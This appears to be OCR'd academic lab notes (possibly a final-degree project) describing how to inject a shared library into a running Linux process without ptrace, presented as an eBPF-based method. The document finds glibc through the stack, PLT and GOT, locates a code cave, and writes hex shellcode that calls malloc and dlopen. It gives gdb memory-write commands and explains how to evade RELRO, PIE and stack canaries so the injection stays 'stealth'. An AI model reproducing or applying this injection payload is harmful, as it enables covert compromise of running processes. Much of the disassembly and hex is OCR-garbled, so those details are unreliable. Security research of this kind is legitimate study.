STEPS TO ACHIEVE LIBRARY
INJECTION WITHOUT PTRACE
USING EBPF

Advantages and disadvantages of this method

+ CET resistant (saved return address is not modified in the stack at any point)
+ Dynamic analysis of binary on runtime, but previous static analysis of libc required to
recognize syscall opcodes

+ Less libc version dependant (no need for gadgets)

- User-mode writing needed
NOTE: Initially, the binary we will be analyzing is compiled with clang, which comes with the
following protections:

- ASLR active

- DEP/NX active

- Stack canaries active

- PIE not active

- Partial RELRO (.GOT writeable).
The last sections detail how to make our injection work with gcc compiled binaries, which
also have active PIE and full RELRO (and Intel CET instructions although they don’t work

yet)

Symbols extraction

Selected syscall — sys_timerfd_settime()

S readelf -s helpers/execve hijack | grep settime

95: 0000000000000000 @ FUNC GLOBAL DEFAULT UND timerfd_

NOTE: It seems that libc has been compiled with CET support since endbr64 instructions
are present, but apparently the shadow stack is not yet merged into the linux kernel (tested).
Talk about this ROP protection in the report.

Analysis of syscall setup and extraction of opcodes
objdump -dS /lib/x86_64-linux-gnu//libc.so.6 | grep -B 5 -A 20 settime@@GLIBC_2.8\>::



0000000000 118560 <timerfd
118560: f3 of 1le fa endbro4
118564: 49 89 ca mowv
118567: b8 1e 01 60 00
11856¢: of as

11856e: 48 3d 00 fo ff ff cmp SOxFrfffffffffffeen,%rax
118574: 77 Ba ja 118580 <timerfd settime@@GLIBC 2.8+0x20>
118576: c3 ret
118577: 66 1T 84 00 0O 0O nopw Ox0(%rax,%rax,1)
008

Thus the syscall opcodes we will look for to detect this syscall, starting from the instruction
before the syscall, is: 0x050f0000011eb8ca8949f30f1efa (14 bytes)

The endbré4 instructions are JOP protection from Intel CET and are always produced by
recent gcc versions.

Analysis of function calling from the program to the
shared library glibc

We will make use of known stack addresses (syscall arguments) in order to detect the
memory position of the function in glibc which calls the syscall. That will let us infer the
position of any other function in glibc.

Once we have correctly identified that an address leads us to the correct syscall, we will also
be able to extract the saved eip from the stack.

if (timerfd_ TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
4013da: 8b mov |
4013dd: be @1 ae mov
4013e2: 48 lea
4013e6: =il Xor
4013e8: 89 c: mov S X,
4013ea: eg 71 fe call 401260 <timerfd_ @plt>

4013ef: 83 cmp SOxFFfFffff,%eax

4013f2: of jne 401404 <test_time_values_injection+0x64=
return -1;

4013f8: c7 mov L

0000000000401260 <timerfd_
401260: ff 25 ca 3e 00 00 *Bx3eca(%rip) # 405130 <timerfd_ @GLIBC_2.8>
401266: 68 23 00 00 00 50x23
40126b: ed be fd ff ff 401020 <_init+0x20=

So we know that the call starts with the opcode e8 <+ 4 bytes>, and that we will have to deal
with a PLT too. PLT jmp instructions are characterized by ff 25 <+ 4 bytes>.

We will proceed to, using the syscall argument as a starting point, scan to lower memory
positions in the stack until we find a call instruction. We extract the offset and reach the PLT
entry.

Using the jmp instruction in there we can extract the offset and thus the address to which it
jumps, thus reaching our syscall setup at libc, which must be equal to the one found before
(0x050f0000011eb8ca8949f30f1efa).



We know where in glibc we must jump because it takes us to an offset indicated in the GOT
section, where the actual address inside the shared library is stored. This is done by the
linker which will patch the corresponding .got section with the address of timerfd_settime in
libc.

.got PROGBITS 00000000004047T0 00003TTO
0000000000000010 OO0000O000000008 WA i) i) 8
.got.plt PROGBITS 0000000000405000 00004000
0000000000000158 00000000000000O8 WA

elf --relocs helpers/execve hijack | grep settime
6 64 JUMP_SLO 0800000000000000 timerfd @GLIBC 2.8 + ©

0OOAAOOOAA405000 < GLOBAL_OFFSET_TABLE_>:
~ 405000: 4e 40 add

405017: 36 add
405019: 40 adc
40501c: 0o add
40501e: 0e add
405020: ] rex.
405024: add
405026: add
405028: push
405029: adc
49502c: add
4p502e: add
405030: ] datalé
405034: add
405036: add
405038: : jbe
40503a: rex add %al,(%rax)

40512e: 06 add %al, (%rax)
7 12 40 08 datalé adc Ox0(%rax),%al
405134: 00 add %al, (%rax)
485136: add %al, (%rax)
405138: ] jbe 40514c < GLOBAL OFFSET_TABLE_ +0x14c>
40513a: e %al, (%rax

It does not correspond to what we were expecting. This is because the linker will, during
each first call of each function of our shared library, process the shared library and write the
actual offset in which the function is placed in it.

If we start a debug session we can see it:



display/101 0x405130
3: x/101 0x485130
+1>: xchg ebp,eax
+2>: fdiv st,st(7)
+4>: (bad)
+5>: ig <
+7>: add BYTE PTR [rsi+0x12],dh
>: rex add BYTE PTR [rax],al
: add BYTE PTR [rax],al
>: add BYTE PTR [rsi+0x4012],al
< +5=: add BYTE PTR [rax],al
disassemble /r 8x485130
Dump of assembler code for function timerfd_settime@got.plt:
<+0>: 60 (bad)
<tl=: 95 xchg ebp,eax
<+2>: d8 f7 fdiv st,st(7)
<+4>: ff (bad)
<+5>: 7f 08 jg <
<4+7>: 00 76 12 add BYTE PTR [rsi+0x12],dh
End of assembler dump.

So when reading memory from the offset of the GOT.PLT section we got from the jmp at the
PLT section we will get the actual virtual address at which the function timerfd_settime is
called in glibc and the syscall is performed:

disassemble /r @x7ffff7d89560
Dump of assembler code for function __ timerfd_settime:

<+0>: f3 of 1le fa endbr64

<+4>: 49 89 ca mov rie,rcx

<4+7=: b8 1e 01 88 80 mov eax,0xlle

<+12=: af es syscall

<+14=: 48 3d ee fe ff ff cmp rax,oxfffffffffffffooo

<+20>: fa ja < +32>

<+22>: ret
af 1f 84 00 00 A0 0O 60 nop WORD PTR [rax+rax*1+6x0]
8b 15 c1 78 Oc 00 mov rdx,QWORD PTR [rip+0xc78c1]

d8 neg eax
a2 mov DWORD PTR fs:[rdx],eax
ff ff ff mov eax,OxfFffffff
ret

End of assembler dump.

If we go back to the detected call instruction in the stack then we know that the address
which took us to that instruction truly was the saved RIP.

Also now that we know the address of the syscall-calling function at glibc we can calculate
the start of glibc. We only need some previous binary analysis to know the offset to which it
is positioned with respect to that function.
Example:

Analyzed syscall function at glibc: 0x7ffff7d89560

__libc_start_main: 0x7ffff7c99490

Offset main-analyzed syscall: 0xf00dO

__libc_dlopen_mode: 0x7ffff7dc85b0
Offset dlopen - syscall: 3f050
Offset main - dlopen: 0x12f120



00000000PERETNs < libc_dlopen_mode@@GLIBC_PRIVATE=:

f3 of 1le fa endbré4

48 83 ec 58 sub

64 48 8b 04

00 00
89 44 24

31 co
8b 44 24
89 7c 24
74 24
89 44 24 %rax,o
8b @5 56 88 > i > # 1dfe38 <_rtld_global_ro@GLIBC_PRIVATE>
83 $0x0,0x2a0(%rax)

64 je 157650 <__libc_dlopen_mode@@GLIBC_PRIVATE+0xa0=>
8d >
8d

(=
00
8d
8d
8d
ab
c@
27
83




Code Cave finding

Header analysis

We need to find a free executable section where to inject code. We analyze the program elf

headers:

.rela.dyn
00000000000R0048
.rela.plt
00000000000003cO
.init
fO0000000000001b
.plt
0000000EOO0RO290
text
0000000000001bd5
.Fini
0e0RaEEOROABEAA
.rodata
Ae0000000000036D
.eh_frame hdr
elolelelelelelelofelelelelo Tl o
.eh_frame
000P0000OOORO3CO
.init_array
0000000000000008
.fini_array
00000000000R00O8
.dynamic
peeaoeeoeeaae1fe
.got
Glolelelelelelelofelelelelon o]
.got.plt

0000D00000O0DBO18
RELA
000o00O00O0ODOO18
PROGBITS
0000000000000000
PROGBITS
0000D000O0O0DOO10
PROGBITS
0000000000000000
PROGBITS
0000000000O0DOO0O
PROGBITS
000000000000000O
PROGBITS
0000000000000000
PROGBITS
0000000000000 00O
INIT_ARRAY

LIV llelelelolalolalelolalot:]
FINI_ARRAY
00popoooODODOOOE
DYNAMIC
00000000ODODOO10
PROGBITS
0000000000000008
PROGBITS

0000000000400a38
A 5]
0000000000400a80
AT +] 2
0000000000401000
AX ]
0000000000401020
AX V]
00000000004012b0
AX i}
0000000000402e88
AX V]
0000000000403000
A V]
000000000040336¢C
A ]
0000000000403458
A V]
000e00RB00404dTO
WA i}
000O000000404dT8
WA V]
000000000040400
WA 7
0000000000404 T0
WA ]
0000000000405000

¢]

3

]

5]

5]

¢]

5]

]

5]

0

¢]

5]

]

g
00000a38
8
00000280
8
00001000
4
00001020
16
000012bo
16
00002e88
4
00003000
8
0000336C
4
00003458
8
00003dfo
8
00003dT8
8
0000300
8
000037fTO
8
00004000



cProgram Headers:
~ Type offset VirtAddr PhysAddr

FileSiz MemSiz Flags Align
Ox0000000000000040 Ox0000000000400040 Ox0000000000400040
Ox00000000000002d8 OxX00000000000002d8 R 0x8
0x0000000000000318 Ox0000000000400318 Ox0000000000400318
Ox000000000000001c Ox000000000000001Cc R Ox1
[Requesting program interpreter: /lib64/ld-linux-x86-64.50.2]

PHDR

INTERP

LOAD

LOAD

LOAD

LOAD

DYNAMIC

NOTE

NOTE

GNU_PROPERTY

GNU_EH_FRAME
GNU_STACK

GNU_RELRO

0x0000000000000000
Ox0000000000000e40
0x0000000000001000
Ox0000000000001e95
0x0000000000003000
Ox0000000000000818
0x0000000000003dT0
Ox0000000000000378
0x000000000000300
0x00000000000001F0
Ox0000000000000338
0x0000000000000020
Ox0000000000000358
0x0000000000000044
Ox0000000000000338
0x0000000000000020
Ox000000000000336C
0x00000000000000ecC
0x0000000000000000
Ox0000000000000000
0x0000000000003df0
Ox0000000000000210

0x0000000000400000 Ox0000000000400000
0x0000000000000e40 R Ox1000
0x0000000000401000 O0x0000000000401000
Ox0000000000001e95 R E Ox1000
0x0000000000403000 Ox0000000000403000
Ox0000000000000818 R Ox1000
0x0000000000404dT0 Ox0000000000404df0
0x00000000000003a0 RW Ox1000
0x0000000000404200 Ox000000000040400
9x00000000000001F0 RW Ox8
0x0000000000400338 Ox0000000000400338
0x0000000000000020 R Ox8
Ox0000000000400358 Ox0000000000400358
0x0000000000000044 R Ox4
0x0000000000400338 Ox0000000000400338
0x0000000000000020 R Ox8
0x000000000040336Cc Ox000000000040336C
0x00000000000000ec R Ox4
0x0000000000000000 Ox0000000000000000
Ox0000000000000000 RW Ox10e
Ox0000000000404df0 Ox0000000000404df0
0x0000000000000210 R Ox1

Multiple LOAD sections indicate segments with different flags.
Note that protections are applied to whole pages, not parts of a page.

L L) &

=2MdpP s .

- MMUPageSize
- KernelPageSize:
MMUPageSize:

“KernelPageSize:

esize:

yMMUPageSize:
KernelPageSize:
MMUPageSize:
"KernelPageSize:
IMMUPageSize:
KernelPageSize:

kB
kB
kB
kB
kB
kB
kB
kB
(]
kB
(]
(]
kB
kB
kB
kB

S R R R - e

Page size = 4KB = 0x1000

sudo grep -i pagesize smaps



The second LOAD section is the one with PROT_EXEC flag and it does contain the .text
section between others, so it looks like a good place to place our code.

Cave finding

Looking for 64 bytes of empty continuous memory.

i find 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0x401000 0x403000
arching for '0x0000000000000008000000000000000000000000000EENOEEBHEOHOOBOHOAEOEOHOEOEEHOOEOLENOOEANEONEEEHEEHE0OOHO0EEO00EAEEOOOEANEOO00ANBERA0" 1n range: 0x401000 - Bx403000
und 5 results, display max 5 items:
j H --> 0x@

They all belong to an unloading routine which does not seem to be using this memory
section for anything. 0x402e95 will be our code cave.

X/101 0x402e80

>: endbro64

+d>: ret
add BYTE PTR [rax],al
add bl,dh

+: nop edx

+ sub rsp,oxs
+8> add rsp,ox8
+12>: ret

add BYTE PTR [rax],al
add BYTE PTR [rax],al




Payload building

Restoring execution flow

Let’s prepare the shellcode we will inject in our code cave.
We want to backup all registers, call dlopen() for our shared library, restore the state of the
registers and return to the original state of the program. Plus we will add a NOP sled just in

case before our jump point.
i S objdump -ds flib/x86_64-1linux-gnu//libc.so0.6 | grep -A 60 dlopen_mode@@GLIBC_PRIVATE\=>:

(00000000001575b0 < libc_

1575b@:
1575b4:
1575b8:
1575bf:
1575c1:
1575c6:
1575c8:
1575cd:
1575d2:
1575d6:
1575db:

f3
48
64
00

=il

48

of
83
48
00
89
co
8b
89
74
89
8b

le
ec
8b

a4

44
7c
24
44
05

fa

25 28

a8

00

endbre4
sub
mov

mov
Xor
mov
mov
mov
mov

mov BxBBB56( p),%rax # 1dfe38 <_rtld_global_ro@GLIBC_PRIVATE=

The virtual address of dlopen will be obtained at runtime from the analysis we made before.

Calling the syscall we were supposed to call originally is:

mov rax, <syscall address libc> # 48b8 <address little endian>
ffe0 # ffe0 <—jmp (although not really, we explain why later)

Injection via gdb is a success and execution flow continues as usual afterwards since ret is

executed:

set *(int64 t *)0x402e9d = Oxe@ffOOOO

set *(int64 t *)0x402e95 = OxX7FFFF7DB9560B848
0x402e95
movabs rax,@x7ffff7dg89os6e
imp
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add

x/201

H

.
H

rax

BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE
BYTE

PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR
PTR

[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al
[rax],al



Calling __libc_dlopen_mode

dlopen() expects arguments to be in the stack at determined positions (for strings) and the
registers set at:
- RAX: address at PLT where dlopen is called. Maybe we can skip this if we don’'t go
through the PLT.
- RSI: RTLD_LAZY (second argument)
- RDI: Address where path of library is found

We have two options, either to write in the heap our string, or to slowly push via assembly
the chars of the library path to the stack via simple push operations.

Using the stack (not implemented)

(not tested, considered not the best method)

2F 68 6F 6D 65 2F 6F 73
62 6F 78 65 73 2F 54 46
47 2F 73 72 63 2F 68 65
6C 70 65 72 73 2F 69 6E
6A 65 63 74 69 6F 6E 5F
6C 69 62 2E 73 6F 00 00

After the call we must remove this from the stack. But since the syscall at libc will call ret and
thus pop the next RIP value from there without us having time to pop out our string, then we
will need to, instead of jmp to libc, to call it. Intel CET should not have a problem with this in

the future, since we are not modifying an existing return address, rather inserting a new one
before the previous.

First we reserve 64 bytes in the stack and write our string.
The stack should look like this:

: ex2f
: Ox62
: Ox47
: Bx6cC
: Ox6a

: OX6C
: Ox00
: Ox00

Next we make RS/ point to RSP.
Then we mov 0x1 into RDI.
And call the address of libc where the syscall for dlopen is called.

Thus taking all of this into account the shellcode is as follows:

682F686F6D #push 0x736f2f656d6f682f
68626F7865 #push 0x46542f7365786f62




68472F7372 #push 0x65682f6372732f47

686C706572 #push 0x6e692f737265706¢
686A656374 #push 0x5f6e6f697463656a
686C69622E #push 0x00006f732e62696¢

48b8 <address little endian>0000 #mov rax, <syscall address libc>
BE01000000 #mov rsi, 0x1

4889E7 #mov rdi, rsp

ffdo #call rax
For gdb:

set $rsp = $rsp-0x64
set {char[48]} OxT7fffffffdc44 = "/home/osboxes/TFG/src/helpers/injection_lib.so"
set *(int64_t *)0x402e95 = Ox7FFFF7DC85B0B848
set *(int64_t *)0x402e9d = 0x4800000001BEO00O
set *(int64_t *)0x402ea5 = 0xd0ffe789
movabs rax,@x7ffff7dc85b0
mov esi,ox1
add BYTE PTR [rax],al
mov rdi,rsp

call Fax

Using the heap (chosen method)

The address of malloc can be determined by the original process of glibc address extraction.

disass Ox7ffff7des13e
Dump of assembler code for function _ GI__ 1libc_malloc:
<+0>: endbr64
mowv rax,QWORD PTR [rip+0x148d95]
push riz
push rbp

mowv rbp,rdi

push rbx

mov rax,QWORD PTR [rax]
test rax,rax

jne <
test rdi,rdi

jS <
lea rax,[rdi+ex17]

xor ebx,ebx

The calling convention of malloc is to store in RD/ the number of bytes to allocate.
The pointer to the allocated address is returned in RAX.

Thus taking into account the calling conventions explained in the previous section too, we
have the following shellcode:




//Saving state of registers

55 push rbp
50 push rax
51 push rcx
52 push rdx
53 push rbx
57 push rdi
56 push rsi

/ICall malloc. Get address in .bss

BF00200000 #mov edi,0x2000

48bb<address little endian 64bit> #mov rbx, <malloc address libc>
#Ex:48BB3081DOF7FF7F0000

ffd3 #call rbx

4889C3 #mov rbx, rax

//Write the string of the library path into reserved memory

C7002F686F6D mov dword [rax],0x6d6f682f
C74004652F6F73 mov dword [rax+0x4],0x736f2f65
C74008626F7865 mov dword [rax+0x8],0x65786f62
C7400C732F5446 mov dword [rax+0xc],0x46542f73
C74010472F7372 mov dword [rax+0x10],0x72732f47
C74014632F6865 mov dword [rax+0x14],0x65682f63
C740186C706572 mov dword [rax+0x18],0x7265706¢
C7401C732F696E mov dword [rax+0x1c],0x6e692f73
C740206A656374 mov dword [rax+0x20],0x7463656a
C74024696F6GES5F mov dword [rax+0x24],0x5f6e6f69
C740286C69622E mov dword [rax+0x28],0x2e62696¢
C7402C736F0000 mov dword [rax+0x2c],0x6f73

48b8 <address little endian 64 bit> #mov rax, <dlopen address libc>

BE01000000 #mov rsi, 0x1
4889DF #mov rdi, rbx
——4889DC mov rsp,rbx
4881EC00100000 sub rsp,0x1000

— —4889E5 mov rbp,rsp

ffdo #call rax

/[TODO call free

//IRestoring state of registers and execution flow
4881C400100000 add rsp,0x1000

5E pop rsi
5F pop rdi
5B pop rbx
5A pop rdx
59 pop rcx
58 pop rax
5D pop rbp

C3 ret




For GDB testing(no restoring state):

set *(int64_t *)0x402e95 = 0x30BB4800002000BF
set *(int64_t *)0x402e9d = OxFF00007FFFF7ES561
set *(int64_t *)0x402eab = 0x682F00C7C38948D3
set *(int64_t *)0x402ead = 0x6F2F650440C76D6F
set *(int64_t *)0x402eb5 = 0x65786F620840C773
set *(int64_t *)0x402ebd = 0xC746542F730C40C7
set *(int64_t *)0x402ec5 = 0x40C772732F471040
set *(int64_t *)Ox402ecd = 0x1840C765682F6314
set *(int64_t *)0x402ed5 = 0x731C40C77265706C
set *(int64_t *)0x402edd = 0x656A2040C76E692F
set *(int64_t *)0x402eeb5 = OX6E6F692440C77463
set *(int64_t *)0x402eed = 0x2E62696C2840C75F
set *(int64_t *)0x402ef5 = 0x4800006F732C40C7
set *(int64_t *)Ox402efd = 0x007FFFF7F165B0B8
set *(int64_t *)0x402f05 = 0x894800000001BE00O
set *(int64_t *)0x402f0d = 0x00C48148DC8948DF
set *(int64_t *)0x402f15 = OxDOFFE58948000010

Full shellcode for runtime injection can be found at TFG/src/common/constants.h

Circumventing RELRO

Relocation Read Only introduces some changes in the binary which we must circumvent if it
was compiled with modern gcc.

The address of the shared libraries will not be loaded at runtime via the GOT section, rather
we will find the following after a call to the PLT:

®x555555555500 <strtok@plt>
®x555555555504 <strtok@plt+
®x55555555550b <strtok@plt+

> @x555555555510 <timerfd settime@plt

Bx555555555514 <timerfd_settime@plt+4=: bnd jmp QWORD PTR [rip+8x4a%95] # Bx555555559fb8 <timerfd settime@got.plt>
0x55555555551b <timerfd_settime@plt+11=>: nop DWORD PTR [rax+rax*1+0x0]

0x555555555520 <strcat@plt>: endbré4

0x555555555524 <strcat@plt+4=: bnd jmp QWORD PTR [rip+8x4a8d] # 0x555555559Tb8 <strcat@got.plt>

Recent gcc versions incorporate CET and a new endbr64 instruction is inserted (interestingly
it might be an accident, since we call this place instead of jumping to it, this might mean that
the PLT will be a valid landing point for JOP in the future??).

f3 8f 1e fa_ endbré64
f2 ff 25 95 4a 06 60 bnd jmp

6f 1f 44 00 00 nop DWORD P

Taking all of this into account we can still perform the same attack as previously but writing
into memory at the GOT section is now blocked from us in the kernel.



Defeating PIE

With PIE, the starting address of our executable changes, so we cannot localize a code cave
via a static analysis (or we could by calculating some offsets from known .text positions such
as libc calls).

We can still easily create a dynamic searcher which looks for code caves at runtime using
the /proc/pid/maps file and then works with memory via /proc/pid/mem.

Defeating stack canaries

Preventing stack smashing detection is as simple as preventing any changes in the stack to
be seen after we are done loading the shared library. For that we include in the code cave
shellcode some push and pop operations (orange sections in shellcode before) to ensure
consistency after the routine returns. Since we are using ret to go back, as libc does, the
process is not visible and the injection is stealth unless the process execution flow is actively
being monitored.



